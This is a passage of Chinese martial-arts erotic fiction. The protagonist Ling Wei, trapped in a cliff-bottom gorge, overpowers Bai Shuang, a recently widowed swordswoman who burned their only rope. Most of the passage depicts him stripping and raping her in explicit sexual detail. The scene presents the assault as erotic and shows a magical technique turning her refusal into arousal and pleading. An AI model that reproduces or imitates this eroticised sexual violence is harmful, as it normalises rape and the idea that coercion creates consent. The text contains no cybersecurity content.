凌威不知是友是敌,赶忙躲在一旁,发觉来人一身白衣,沿绳而下,但是绳子的长度不够,看来无法抵达崖下的。

白衣人来到杂草将尽的地方,差不多来到光秃秃的石壁时,却从怀里拿出一团线球,牢固地缚在突出的石梁上,然后利用鱼丝似的绳子,代替绳子,继续爬下来。

凌威暗暗称奇,因为白衣人的轻功不俗,但是那鱼丝似的绳子能够承受他的体重,看来定是异宝,待他慢慢接近时,凌威发觉白衣人是个女子,接着便认得她竟然是华山清风剑侣的白霜。

白霜终于到达崖下,她喘了几口气,拿出雪白的丝巾,抹去粉脸的香汗,预备歇息一下时,赫然发觉凌威似笑非笑的站在身前。

“你……你没有死吗?”白霜大吃一惊,颤声叫道。

“我要是死了,还有谁对付你们这些无耻之徒呀?”凌威狞笑道。

“狗贼……七大门派的高手……只待我发出信号,便会下来,你……你等着受死吧!”白霜脸白如纸地说。

“是吗?”凌威冷笑道,暗念果真如此,倒也不妙,但是看她色厉内荏,而且孤身而来,想是另有所图,却也不惧。

“你……你要是交出七星环,我便诈作看不见,放你一条活路。”白霜急叫道。

“是这枚吗?”凌威恍然大悟,拿出七星环说。

“抛过来,我掉头便走。”白霜色然而喜道。

“为了这枚七旦环,我不知花了多少气力,才让绮云乐得欲仙欲死,要是你现在脱光了衣服,便让你瞧一下也成的。”凌威诡笑道,知道白霜以为他已经惨死,下来是为了找寻这枚七星环的。

“你……!”白霜暗叫不妙,不知如何是好。

“纵然是七大掌门,他们下一个,我便杀一个,这儿是绝地,没有人逃得脱的!”

凌威狞笑道。

“你……你瞧着吧。”白霜倒抽了一口冷气,取出一根信火道:“只要我发出信火,他们便下来了,那时你也逃不了的!”

“好呀,看看有甚么人下来送死。”凌威哂笑道,知道白霜只是虚张声势,完全不以为意。

白霜脸色数变,咬一咬牙,手中一动,信火射出,红色的火焰却不在空中爆发,而是电射悬在石壁上的细线,火星才沾上去,细线便瞬即着火。

“你干甚么?”凌威怒吼一声,扑了过去,把丝线抢在手里,但是已经烧断了,挂在石壁上的一头还继续燃烧,转眼间便烧成灰烬。

“没有天蚕丝,谁也上不去,你不是说这里是绝地吗,便在这里等死吧!”白霜惨笑道。

“贱人,你不也要死在这里吗?”凌威又惊又怒道。

“你杀了我的熙哥,能够和他报仇,我也死而无憾了!”白霜咬牙切齿道,原来陆熙伤重不治,她知道必无幸理,决定和凌威同归于尽。

“原来是个小寡妇!”这时凌威才发觉,白霜不施脂粉,秀皮上面还有朵白花,正是重孝在身,倍觉清丽脱俗,不怒反笑道:“家里没有男人,怪不得下来找了!”

“不要脸的狗贼!”白霜厉叫道,虽然手无寸铁,却还是舍死忘生的挥掌攻击。

凌威的功夫何等高强,白霜如何是他的敌手,攻不了几招,便处处受制,接着凌威一招双龙出海,十指如勾,竟然抓住了她的胸前双乳,指上发劲,白霜便气力顿失,软在地上。

“你这个无耻之徒……杀了我吧!”白霜凄厉地惨叫道。

“我不会杀你的,山间寂寞,有了你,我便不用孤寝独眠了。”凌威双手一分,撕开了白霜的衣襟,一团线球掉了出来,原来白霜利用天蚕丝下崖,虽然烧掉了不少,还剩下许多,凌威喜出望外,赶快收起来,以备后用。

“畜生……别碰我!”白霜珠泪直冒地叫。

“当初绮云也是口里说不,可是尝过我的阳物后,还不是乐得死去活来?”

凌威吃吃怪笑,一手握着白霜的乳房,另一只手却粗暴扯下她身上的衣服。

白霜虽然狂呼厉叫,谩骂不绝,但是身上完全使不出气力,好像穴道受制似的,眼巴巴的看着衣服一件一件的离开了身体。

“生过孩子没有?”凌威揭下白霜腹下的骑马汗巾说。

这时白霜已经知道哭叫也是徒然,唯有紧咬着朱唇,等待噩梦的开始,心里后悔不该为了取回凌威从绮云那里夺去的七星环,独自下崖寻宝,更后悔没有及早求死,致受此辱。

“不叫了么?这可对了,还是留下气力来叫床吧!”凌威搓揉着白霜的乳房说。

白霜突然感觉凌威的掌心变得火烫,指头还传出缕缕热气,直袭体内,使她情不自禁地低嗯一声。

“奶头凸出来了,是不是想男人呀?”凌威一手继续在肉团上搓揉着,另一手却捏着白霜另一边涨卜卜的乳头说。

“不……住手……你……你住手!”白霜呻吟着叫。

凌威怎会住手,还慢慢往下移去,扶着柳腰,游过了小巧的玉脐,抵达平坦滑腻的小腹,直薄芳草菲菲的肉阜。

“呀……不……呀……求你……求你住手……呀……痒呀!”白霜感觉浑身燠热,凌威的指头过处,身体里便生出一种难言的麻痒,彷如虫行蚁走,说不出的难过。

凌威发觉销魂指的功力大进,心中高兴,运足邪功,五指如箕,轻轻在粉红色的桃丘抓弄起来,才抓不了两下,白霜的叫声更是媚惑动人,花瓣似的肉唇彷佛在颤动,接着裂缝中间还开始渗出点点透明晶莹的水点。

“骚穴发痒是不是,求我呀,求我用大阳物给你煞痒呀!”凌威催动邪功,起劲地撩拨着说。

“不……啊……痒……给我……求你……!”白霜失魂落魄地叫。

凌威哈哈怪笑,抽出阳物,腾身而上,朝着那春潮泛滥的桃源洞刺下。

“……喔……啊……啊……!”白霜张开嘴巴,大口大口地喘着气,头脸是病态的艳红,烂泥似的瘫痪地上,身体汗下如雨,彷佛才从水里捞出来,喉头里断断续续的发出哀鸣的声音,好像讨饶的气力也没有了。

凌威仍然是锲而不舍地抽插着,雄风勃勃的阳物记记不留余地般狠刺到底,龟头朝着娇柔的花芯狂冲猛刺,上面传来的颤抖,使他知道这个无助的侠女差不多又要泄身了,腰下更是起劲,好像要捣烂那饱受蹂躏的方寸之地。

蓦地白霜“荷荷”哀叫,四肢痉挛似的挣扎着,接着双眼反白,螓首急摆的扭动了几下,便失去了知觉。

凌威紧张地让龟头在白霜的阴关急刺几下,发觉没有甚么反应,大失所望,唯有让阳物留在阴道里,享受里边传来的抽搐。